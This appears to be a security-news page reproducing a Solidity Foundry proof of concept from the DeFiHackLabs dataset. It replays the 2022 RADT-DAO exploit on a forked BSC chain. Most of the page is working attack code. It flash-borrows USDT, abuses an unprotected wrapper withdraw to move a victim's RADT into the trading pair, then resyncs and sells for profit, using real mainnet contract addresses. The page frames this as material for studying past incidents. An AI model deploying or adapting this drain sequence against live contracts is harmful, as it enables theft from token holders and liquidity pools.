Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/RADT_exp.sol

Public reproduction file for dataset entry RADT-DAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/RADT_exp.sol66 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6interface IWRAP {
7 function withdraw(address from, address to, uint256 amount) external;
8}
9
10interface IDODO {
11 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
13 function _BASE_TOKEN_() external view returns (address);
16contract ContractTest is Test {
17 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
18 IERC20 RADT = IERC20(0xDC8Cb92AA6FC7277E3EC32e3f00ad7b8437AE883);
19 Uni_Pair_V2 pair = Uni_Pair_V2(0xaF8fb60f310DCd8E488e4fa10C48907B7abf115e);
20 IWRAP wrap = IWRAP(0x01112eA0679110cbc0ddeA567b51ec36825aeF9b);
21 address constant dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;
22 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25 function setUp() public {
26 cheats.createSelectFork("bsc", 21_572_418);
27 }
29 function testExploit() public {
30 emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
32 USDT.approve(address(Router), ~uint256(0));
33 RADT.approve(address(Router), ~uint256(0));
34 IDODO(dodo).flashLoan(0, 200_000 * 1e18, address(this), new bytes(1));
36 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
37 }
39 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
40 buyRADT();
41 USDT.transfer(address(pair), 1);
42 uint256 amount = RADT.balanceOf(address(pair)) * 100 / 9;
43 wrap.withdraw(address(0x68Dbf1c787e3f4C85bF3a0fd1D18418eFb1fb0BE), address(pair), amount);
44 pair.sync();
45 sellRADT();
46 USDT.transfer(address(dodo), 200_000 * 1e18);
47 }
49 function buyRADT() public {
50 address[] memory path = new address[](2);
51 path[0] = address(USDT);
52 path[1] = address(RADT);
53 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
54 1000 * 1e18, 0, path, address(this), block.timestamp
55 );
56 }
58 function sellRADT() public {
59 address[] memory path = new address[](2);
60 path[0] = address(RADT);
61 path[1] = address(USDT);
62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
63 RADT.balanceOf(address(this)), 0, path, address(this), block.timestamp
64 );
65 }

Analysis

Dataset entry

Public Foundry test for “RADT-DAO” (2022-09-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
RADT-DAO
Path
src/test/2022-09/RADT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
39eba26b9c6b9310d85bf7727f202add765b6f18
Language
Solidity
Size
67 lines
Date
2022-09-23
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/RADT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 39eba26b9c6b9310d85bf7727f202add765b6f18, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.